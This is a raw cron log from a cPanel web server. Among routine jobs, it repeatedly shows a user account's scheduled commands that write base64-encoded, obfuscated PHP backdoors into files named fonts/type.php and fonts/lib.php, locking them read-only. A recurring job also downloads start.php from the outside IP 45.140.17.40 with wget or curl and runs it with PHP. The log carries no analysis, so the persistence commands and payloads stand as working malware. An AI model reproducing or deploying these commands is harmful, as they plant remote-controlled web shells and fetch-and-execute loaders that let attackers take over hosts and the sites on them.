Sep  7 11:26:01 ip-184-168-122-23 CROND[16979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:26:01 ip-184-168-122-23 CROND[16980]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:27:01 ip-184-168-122-23 CROND[17112]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:27:01 ip-184-168-122-23 CROND[17113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:27:01 ip-184-168-122-23 CROND[17114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:27:01 ip-184-168-122-23 CROND[17115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:28:01 ip-184-168-122-23 CROND[17232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:28:01 ip-184-168-122-23 CROND[17233]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:28:01 ip-184-168-122-23 CROND[17234]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:28:01 ip-184-168-122-23 CROND[17236]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:28:01 ip-184-168-122-23 CROND[17237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:29:01 ip-184-168-122-23 CROND[17322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:29:01 ip-184-168-122-23 CROND[17324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:29:01 ip-184-168-122-23 CROND[17325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:29:01 ip-184-168-122-23 CROND[17326]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:30:01 ip-184-168-122-23 CROND[17527]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:30:01 ip-184-168-122-23 CROND[17532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:30:01 ip-184-168-122-23 CROND[17535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:30:01 ip-184-168-122-23 CROND[17531]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:30:01 ip-184-168-122-23 CROND[17533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:30:01 ip-184-168-122-23 CROND[17536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:30:01 ip-184-168-122-23 CROND[17534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:30:01 ip-184-168-122-23 CROND[17537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:31:01 ip-184-168-122-23 CROND[17687]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:31:01 ip-184-168-122-23 CROND[17689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:31:01 ip-184-168-122-23 CROND[17688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:31:01 ip-184-168-122-23 CROND[17691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:31:01 ip-184-168-122-23 CROND[17692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:32:01 ip-184-168-122-23 CROND[17792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:32:01 ip-184-168-122-23 CROND[17793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:32:01 ip-184-168-122-23 CROND[17796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:32:01 ip-184-168-122-23 CROND[17801]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:32:01 ip-184-168-122-23 CROND[17799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:33:01 ip-184-168-122-23 CROND[17895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:33:01 ip-184-168-122-23 CROND[17896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:33:01 ip-184-168-122-23 CROND[17898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:33:01 ip-184-168-122-23 CROND[17897]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:34:01 ip-184-168-122-23 CROND[17992]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:34:01 ip-184-168-122-23 CROND[17994]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:34:01 ip-184-168-122-23 CROND[17997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:34:01 ip-184-168-122-23 CROND[17996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:34:01 ip-184-168-122-23 CROND[17995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:35:01 ip-184-168-122-23 CROND[18188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:35:01 ip-184-168-122-23 CROND[18192]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:35:01 ip-184-168-122-23 CROND[18190]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:35:01 ip-184-168-122-23 CROND[18193]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:35:01 ip-184-168-122-23 CROND[18194]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  7 11:35:01 ip-184-168-122-23 CROND[18191]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:35:01 ip-184-168-122-23 CROND[18195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:35:01 ip-184-168-122-23 CROND[18196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:36:01 ip-184-168-122-23 CROND[18361]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:36:01 ip-184-168-122-23 CROND[18364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:36:01 ip-184-168-122-23 CROND[18365]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:36:01 ip-184-168-122-23 CROND[18362]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:36:01 ip-184-168-122-23 CROND[18363]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:37:01 ip-184-168-122-23 CROND[18478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:37:01 ip-184-168-122-23 CROND[18479]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:37:01 ip-184-168-122-23 CROND[18480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:37:01 ip-184-168-122-23 CROND[18481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:38:01 ip-184-168-122-23 CROND[18590]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:38:01 ip-184-168-122-23 CROND[18592]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:38:01 ip-184-168-122-23 CROND[18593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:38:01 ip-184-168-122-23 CROND[18591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:38:01 ip-184-168-122-23 CROND[18595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:39:01 ip-184-168-122-23 CROND[18690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
